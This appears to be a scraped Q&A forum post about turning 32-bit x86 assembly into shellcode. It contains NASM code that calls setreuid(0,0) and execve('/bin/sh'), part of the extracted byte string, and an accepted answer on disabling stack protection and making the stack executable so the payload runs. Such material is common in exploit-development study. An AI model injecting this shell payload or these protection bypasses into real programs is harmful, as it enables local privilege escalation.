How can I turn this into shellcode?

Question

Aright I wrote an ASM file that spawns a shell. However, the .text section becomes "READONLY", so I'm keeping everything in the .data section. When I compile it with NASM and ld, it works perfectly. Then, when I use the shellcode and run it in a C program, I seg fault. ASM: ``` SECTION .data global _start _start: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 70d int 80h jmp jump rev: pop ebx xor eax, eax mov BYTE [ebx+7], al mov DWORD [ebx+8], ebx mov DWORD [ebx+12], eax mov al, 11d lea ecx, [ebx+8] lea edx, [ebx+12] int 80h jump: call rev shell: db "/bin/sh011112222" ``` When I compile it with: ``` nasm -f elf32 -o temporary_file.o ld -s -m elf_i386 -o shell temporary_file.o ``` Everything works perfectly. I can ./shell and a shell spawns. However, when i use: objdump -D shell (objdump -d shell doesn't show the .data section) And change that into \x?? format, I cannot exectute the shell. Shellcode: ``` \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0…

Accepted Answer

In your c program, replace:

```
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
```

with

```
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
```

Otherwise gcc will put it in a readonly section (compile with -S to produce asm and take a look at the section)

Furthermore, you might need to compile it with `-fno-stack-protector -z execstack` to avoid stack protection.

How can I turn this into shellcode?

Solution

Problem